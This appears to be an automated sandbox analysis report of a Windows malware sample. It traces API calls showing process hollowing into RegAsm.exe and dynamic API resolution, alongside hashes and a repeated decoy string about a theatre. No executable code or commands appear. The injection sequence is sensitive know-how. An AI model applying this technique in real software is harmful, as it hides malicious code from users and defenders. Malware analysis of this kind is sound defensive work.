MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	37.3%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	20%
Total number of Nodes:	40
Total number of Limit Nodes:	1

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 02D92429 Relevance: 44.0, APIs: 11, Strings: 14, Instructions: 282
threadinjectionmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe,00000000,00000000,00000000,00000000,00000004,00000000,00000000,02D9239B,02D9238B), ref: 02D92598
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 02D925AB
Wow64GetThreadContext.KERNEL32(00000320,00000000), ref: 02D925C9
ReadProcessMemory.KERNELBASE(0000031C,?,02D923DF,00000004,00000000), ref: 02D925ED
VirtualAllocEx.KERNELBASE(0000031C,?,?,00003000,00000040), ref: 02D92618
TerminateProcess.KERNELBASE(0000031C,00000000), ref: 02D92637
WriteProcessMemory.KERNELBASE(0000031C,00000000,?,?,00000000,?), ref: 02D92670
WriteProcessMemory.KERNELBASE(0000031C,00400000,?,?,00000000,?,00000028), ref: 02D926BB
WriteProcessMemory.KERNELBASE(0000031C,?,?,00000004,00000000), ref: 02D926F9
Wow64SetThreadContext.KERNEL32(00000320,052A0000), ref: 02D92735
ResumeThread.KERNELBASE(00000320), ref: 02D92744

Strings

ReadProcessMemory, xrefs: 02D92516
VirtualAllocEx, xrefs: 02D92529
WriteProcessMemory, xrefs: 02D9253C
Load, xrefs: 02D92467
ress, xrefs: 02D924B3
aryA, xrefs: 02D9246F
ResumeThread, xrefs: 02D92565
CreateProcessA, xrefs: 02D924DD
TerminateProcess, xrefs: 02D92627
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe, xrefs: 02D92597
SetThreadContext, xrefs: 02D9254F
GetThreadContext, xrefs: 02D92503
VirtualAlloc, xrefs: 02D924F0
GetP, xrefs: 02D924AB

Memory Dump Source

Source File: 00000000.00000002.2043240137.0000000002D92000.00000040.00000800.00020000.00000000.sdmp, Offset: 02D92000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2d92000_file.jbxd

Similarity

API ID: Process$Memory$ThreadWrite$AllocContextVirtualWow64$CreateReadResumeTerminate
String ID: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe$CreateProcessA$GetP$GetThreadContext$Load$ReadProcessMemory$ResumeThread$SetThreadContext$TerminateProcess$VirtualAlloc$VirtualAllocEx$WriteProcessMemory$aryA$ress
API String ID: 2440066154-1257834847
Opcode ID: 6ed679946abb4a161c9f75f6101290084365813039212a6bd0c7882d8dd446c2
Instruction ID: af9db6b864e83cba6c2b801f83f03b57dc5b376d3de072d0201b5a23a8bddb10
Opcode Fuzzy Hash: 6ed679946abb4a161c9f75f6101290084365813039212a6bd0c7882d8dd446c2
Instruction Fuzzy Hash: B0B1D47664028AAFDB60CF68CC80BDA77A5FF88714F158524EA0CAB341D774FA51CB94

Function 02BA0B41 Relevance: 1.7, APIs: 1, Instructions: 245
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtectEx.KERNELBASE(?,03D93594,?,?,?,?,?,?,00000000,?,?,02BA0A0A,?,00000040,?), ref: 02BA0E44

Memory Dump Source

Source File: 00000000.00000002.2042752174.0000000002BA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02BA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2ba0000_file.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 257286f79d40dc866d352a3d2149f5d3191f95c402a43a4ec689039f98e3ff06
Instruction ID: ecb2914a4bc424461e97ade68af8d1f8af8958949c8d44e68305af6dcfd9ec36
Opcode Fuzzy Hash: 257286f79d40dc866d352a3d2149f5d3191f95c402a43a4ec689039f98e3ff06
Instruction Fuzzy Hash: D7A1A0719082558FCB11EFA8C490BADFBF2FF48314F588999D899AB352D335E941CB90

Function 02BA0988 Relevance: 1.6, APIs: 1, Instructions: 109
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.2042752174.0000000002BA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02BA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2ba0000_file.jbxd

Similarity

API ID: ConsoleFreeProtectVirtual
String ID:
API String ID: 621788221-0
Opcode ID: d9e60494a939a824b36d33a0b17014a0f549e639c56cefb2a5d90412a779a4b3
Instruction ID: 1d3c7bccbd5736e5a331e59a24c967b87e322ffcb07fc38f746522e12ca79720
Opcode Fuzzy Hash: d9e60494a939a824b36d33a0b17014a0f549e639c56cefb2a5d90412a779a4b3
Instruction Fuzzy Hash: 2841AF75A002089FD710EFA9D454B9EBBF6FF48310F14849AD519AB394DB70A940CF91

Function 02BA04D0 Relevance: 1.6, APIs: 1, Instructions: 55
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtectEx.KERNELBASE(?,03D93594,?,?,?,?,?,?,00000000,?,?,02BA0A0A,?,00000040,?), ref: 02BA0E44

Memory Dump Source

Source File: 00000000.00000002.2042752174.0000000002BA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02BA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2ba0000_file.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 7ea272f7a33403145a6540b1dc0aaab6f6f3fc285e0255e62e405064768f9a23
Instruction ID: 291132df8ba9a03b16ce4e5cca14ea873288094b477f74ab521a6ceb5d6a30f2
Opcode Fuzzy Hash: 7ea272f7a33403145a6540b1dc0aaab6f6f3fc285e0255e62e405064768f9a23
Instruction Fuzzy Hash: BB21EEB2D05259EFCB00DF9AD984ADEFFB4FB48310F10856AE918A7240C375A954CFA1

Function 02BA04B0 Relevance: 1.5, APIs: 1, Instructions: 49
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeConsole.KERNELBASE(?,?,?,?,00000000,?,?,02BA09B1), ref: 02BA0AD4

Memory Dump Source

Source File: 00000000.00000002.2042752174.0000000002BA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02BA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2ba0000_file.jbxd

Similarity

API ID: ConsoleFree
String ID:
API String ID: 771614528-0
Opcode ID: fd1bb153b7f367e7cfb711b5e927f1d79791446cf7415cae6f533994ae4a8473
Instruction ID: a28051dade959b8432fb6173dd8be5f6c174130889f953f92513531baea3dbe7
Opcode Fuzzy Hash: fd1bb153b7f367e7cfb711b5e927f1d79791446cf7415cae6f533994ae4a8473
Instruction Fuzzy Hash: 8C1146B58043998FCB10DFA9C4947DEBFF0EF49314F24848AD8596B251D3746548CBA5

Function 02BA04C4 Relevance: 1.5, APIs: 1, Instructions: 42
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeConsole.KERNELBASE(?,?,?,?,00000000,?,?,02BA09B1), ref: 02BA0AD4

Memory Dump Source

Source File: 00000000.00000002.2042752174.0000000002BA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02BA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2ba0000_file.jbxd

Similarity

API ID: ConsoleFree
String ID:
API String ID: 771614528-0
Opcode ID: 82eaa700c93dafc0a761ff420ef32a4c0faf59f2b55ea0a21d4031c067dfb171
Instruction ID: 054d7676167ba62de0018920ea98186c408d74e5b3b6b382fd0fede672fcd967
Opcode Fuzzy Hash: 82eaa700c93dafc0a761ff420ef32a4c0faf59f2b55ea0a21d4031c067dfb171
Instruction Fuzzy Hash: AE11E2B5D046498FCB20DF9AC544BEEBBF4EB48314F108499D52AA7250D375A944CFA1

Analysis Process: RegAsm.exePID: 6616, Parent PID: 4208COMMON

Execution Graph

Execution Coverage:	4.5%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	5.2%
Total number of Nodes:	2000
Total number of Limit Nodes:	40

Executed Functions

Function 004195E0 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(75900000,014F2968), ref: 004195FD
GetProcAddress.KERNEL32(75900000,014F2988), ref: 00419615
GetProcAddress.KERNEL32(75900000,014FA5D0), ref: 0041962E
GetProcAddress.KERNEL32(75900000,014FA660), ref: 00419646
GetProcAddress.KERNEL32(75900000,014FA630), ref: 0041965E
GetProcAddress.KERNEL32(75900000,014FA618), ref: 00419677
GetProcAddress.KERNEL32(75900000,014F41B8), ref: 0041968F
GetProcAddress.KERNEL32(75900000,014FA798), ref: 004196A7
GetProcAddress.KERNEL32(75900000,014FA7B0), ref: 004196C0
GetProcAddress.KERNEL32(75900000,014FA7E0), ref: 004196D8
GetProcAddress.KERNEL32(75900000,014FA858), ref: 004196F0
GetProcAddress.KERNEL32(75900000,014F2B08), ref: 00419709
GetProcAddress.KERNEL32(75900000,014F2B48), ref: 00419721
GetProcAddress.KERNEL32(75900000,014F2B28), ref: 00419739
GetProcAddress.KERNEL32(75900000,014F2D08), ref: 00419752
GetProcAddress.KERNEL32(75900000,014FA7C8), ref: 0041976A
GetProcAddress.KERNEL32(75900000,014FA7F8), ref: 00419782
GetProcAddress.KERNEL32(75900000,014F4280), ref: 0041979B
GetProcAddress.KERNEL32(75900000,014F2BC8), ref: 004197B3
GetProcAddress.KERNEL32(75900000,014FA810), ref: 004197CB
GetProcAddress.KERNEL32(75900000,014FA678), ref: 004197E4
GetProcAddress.KERNEL32(75900000,014FA648), ref: 004197FC
GetProcAddress.KERNEL32(75900000,014FA690), ref: 00419814
GetProcAddress.KERNEL32(75900000,014F2BE8), ref: 0041982D
GetProcAddress.KERNEL32(75900000,014FA6A8), ref: 00419845
GetProcAddress.KERNEL32(75900000,014FA6C0), ref: 0041985D
GetProcAddress.KERNEL32(75900000,014FA8B8), ref: 00419876
GetProcAddress.KERNEL32(75900000,014FA8A0), ref: 0041988E
GetProcAddress.KERNEL32(75900000,014FA8E8), ref: 004198A6
GetProcAddress.KERNEL32(75900000,014FA8D0), ref: 004198BF
GetProcAddress.KERNEL32(75900000,014FA900), ref: 004198D7
GetProcAddress.KERNEL32(75900000,014FA918), ref: 004198EF
GetProcAddress.KERNEL32(75900000,014FA930), ref: 00419908
GetProcAddress.KERNEL32(75900000,01501770), ref: 00419920
GetProcAddress.KERNEL32(75900000,014FA870), ref: 00419938
GetProcAddress.KERNEL32(75900000,014FA888), ref: 00419951
GetProcAddress.KERNEL32(75900000,014F29E8), ref: 00419969
GetProcAddress.KERNEL32(75900000,01501F00), ref: 00419981
GetProcAddress.KERNEL32(75900000,014F2C48), ref: 0041999A
GetProcAddress.KERNEL32(75900000,01501EA0), ref: 004199B2
GetProcAddress.KERNEL32(75900000,01501F60), ref: 004199CA
GetProcAddress.KERNEL32(75900000,014F29C8), ref: 004199E3
GetProcAddress.KERNEL32(75900000,014F2A28), ref: 004199FB
LoadLibraryA.KERNEL32(01501E40,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0,?), ref: 00419A0D
LoadLibraryA.KERNEL32(01501F48,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0,?), ref: 00419A1E
LoadLibraryA.KERNEL32(01501DB0,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0,?), ref: 00419A30
LoadLibraryA.KERNEL32(01501E58,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0,?), ref: 00419A42
LoadLibraryA.KERNEL32(01502050,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0,?), ref: 00419A53
LoadLibraryA.KERNEL32(01501E88,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0,?), ref: 00419A65
LoadLibraryA.KERNEL32(01502008,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0,?), ref: 00419A77
LoadLibraryA.KERNEL32(01501EE8,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0,?), ref: 00419A88
GetProcAddress.KERNEL32(75FD0000,014F2C28), ref: 00419AAA
GetProcAddress.KERNEL32(75FD0000,01501DC8), ref: 00419AC2
GetProcAddress.KERNEL32(75FD0000,014FAAC8), ref: 00419ADA
GetProcAddress.KERNEL32(75FD0000,01501ED0), ref: 00419AF3
GetProcAddress.KERNEL32(75FD0000,014F2A48), ref: 00419B0B
GetProcAddress.KERNEL32(734B0000,014F4438), ref: 00419B30
GetProcAddress.KERNEL32(734B0000,014F2A68), ref: 00419B49
GetProcAddress.KERNEL32(734B0000,014F42D0), ref: 00419B61
GetProcAddress.KERNEL32(734B0000,01502068), ref: 00419B79
GetProcAddress.KERNEL32(734B0000,01502020), ref: 00419B92
GetProcAddress.KERNEL32(734B0000,014F2C08), ref: 00419BAA
GetProcAddress.KERNEL32(734B0000,014F2B88), ref: 00419BC2
GetProcAddress.KERNEL32(734B0000,01501E70), ref: 00419BDB
GetProcAddress.KERNEL32(763B0000,014F2D28), ref: 00419BFC
GetProcAddress.KERNEL32(763B0000,014F2A88), ref: 00419C14
GetProcAddress.KERNEL32(763B0000,01501EB8), ref: 00419C2D
GetProcAddress.KERNEL32(763B0000,01501F18), ref: 00419C45
GetProcAddress.KERNEL32(763B0000,014F2D48), ref: 00419C5D
GetProcAddress.KERNEL32(750F0000,014F44D8), ref: 00419C83
GetProcAddress.KERNEL32(750F0000,014F42F8), ref: 00419C9B
GetProcAddress.KERNEL32(750F0000,01501FD8), ref: 00419CB3
GetProcAddress.KERNEL32(750F0000,014F2A08), ref: 00419CCC
GetProcAddress.KERNEL32(750F0000,014F2C68), ref: 00419CE4
GetProcAddress.KERNEL32(750F0000,014F4460), ref: 00419CFC
GetProcAddress.KERNEL32(75A50000,01502038), ref: 00419D22
GetProcAddress.KERNEL32(75A50000,014F2AC8), ref: 00419D3A
GetProcAddress.KERNEL32(75A50000,014FAB18), ref: 00419D52
GetProcAddress.KERNEL32(75A50000,01501FF0), ref: 00419D6B
GetProcAddress.KERNEL32(75A50000,01501E10), ref: 00419D83
GetProcAddress.KERNEL32(75A50000,014F2AA8), ref: 00419D9B
GetProcAddress.KERNEL32(75A50000,014F2D68), ref: 00419DB4
GetProcAddress.KERNEL32(75A50000,01501F30), ref: 00419DCC
GetProcAddress.KERNEL32(75A50000,01501FA8), ref: 00419DE4
GetProcAddress.KERNEL32(75070000,014F2B68), ref: 00419E06
GetProcAddress.KERNEL32(75070000,01501F78), ref: 00419E1E
GetProcAddress.KERNEL32(75070000,01501F90), ref: 00419E36
GetProcAddress.KERNEL32(75070000,01501FC0), ref: 00419E4F
GetProcAddress.KERNEL32(75070000,01502080), ref: 00419E67
GetProcAddress.KERNEL32(74E50000,014F2BA8), ref: 00419E88
GetProcAddress.KERNEL32(74E50000,014F2AE8), ref: 00419EA1
GetProcAddress.KERNEL32(75320000,014F2C88), ref: 00419EC2
GetProcAddress.KERNEL32(75320000,01501D98), ref: 00419EDA
GetProcAddress.KERNEL32(6F080000,014F2CA8), ref: 00419F00
GetProcAddress.KERNEL32(6F080000,014F2CC8), ref: 00419F18
GetProcAddress.KERNEL32(6F080000,014F2CE8), ref: 00419F30
GetProcAddress.KERNEL32(6F080000,01501DE0), ref: 00419F49
GetProcAddress.KERNEL32(6F080000,01502800), ref: 00419F61
GetProcAddress.KERNEL32(6F080000,01502600), ref: 00419F79
GetProcAddress.KERNEL32(6F080000,01502680), ref: 00419F92
GetProcAddress.KERNEL32(6F080000,01502880), ref: 00419FAA
GetProcAddress.KERNEL32(6F080000,InternetSetOptionA), ref: 00419FC1
GetProcAddress.KERNEL32(6F080000,HttpQueryInfoA), ref: 00419FD7
GetProcAddress.KERNEL32(74E00000,01501DF8), ref: 00419FF9
GetProcAddress.KERNEL32(74E00000,014FAA48), ref: 0041A011
GetProcAddress.KERNEL32(74E00000,01501E28), ref: 0041A029
GetProcAddress.KERNEL32(74E00000,01502140), ref: 0041A042
GetProcAddress.KERNEL32(74DF0000,015027E0), ref: 0041A063
GetProcAddress.KERNEL32(6CD10000,01502110), ref: 0041A084
GetProcAddress.KERNEL32(6CD10000,015026C0), ref: 0041A09D
GetProcAddress.KERNEL32(6CD10000,015020E0), ref: 0041A0B5
GetProcAddress.KERNEL32(6CD10000,015020C8), ref: 0041A0CD

Strings

InternetSetOptionA, xrefs: 00419FB5
HttpQueryInfoA, xrefs: 00419FCC

Memory Dump Source

Source File: 00000006.00000002.2194885314.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2194885314.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_RegAsm.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: HttpQueryInfoA$InternetSetOptionA
API String ID: 2238633743-1775429166
Opcode ID: 42a1c126b23ada8373e6c48d5b9de957363c63bf0e0344acec6b940ad07a1c70
Instruction ID: de404ee9f47513f53d28e8016dc56f999ad60f1515a6c9981bc8237813ea7153
Opcode Fuzzy Hash: 42a1c126b23ada8373e6c48d5b9de957363c63bf0e0344acec6b940ad07a1c70
Instruction Fuzzy Hash: 946243B5500E00AFC774DFA8EE88D1E3BABBB8C761750A51AE609C3674D7349443DBA4

Function 00404610 Relevance: 112.1, APIs: 34, Strings: 30, Instructions: 114
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 0040461C
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 00404627
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 00404632
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 0040463D
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 00404648
GetProcessHeap.KERNEL32(00000000,?,?,0000000F,?,0041649B), ref: 00404657
RtlAllocateHeap.NTDLL(00000000,?,0000000F,?,0041649B), ref: 0040465E
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 0040466C
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 00404677
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 00404682
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 0040468D
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 00404698
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 004046AC
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 004046B7
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 004046C2
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 004046CD
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 004046D8
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404701
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 0040470C
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404717
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404722
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 0040472D
strlen.MSVCRT ref: 00404740
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404768
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404773
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 0040477E
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404789
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404794
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004047A4
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004047AF
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004047BA
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004047C5
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004047D0
VirtualProtect.KERNEL32(?,00000004,00000100,00000000), ref: 004047EC

Strings

The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404784
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404763
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040471D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046FC
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046BD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404707
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404728
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404688
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004047C0
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046B2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404638
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404712
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040467D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046D3
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404643
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040479F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040478F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404693
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404779
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004047AA
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004047CB
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404622
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040462D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404617
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404672
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404667
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046C8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040476E
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046A7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004047B5

Memory Dump Source

Source File: 00000006.00000002.2194885314.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2194885314.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
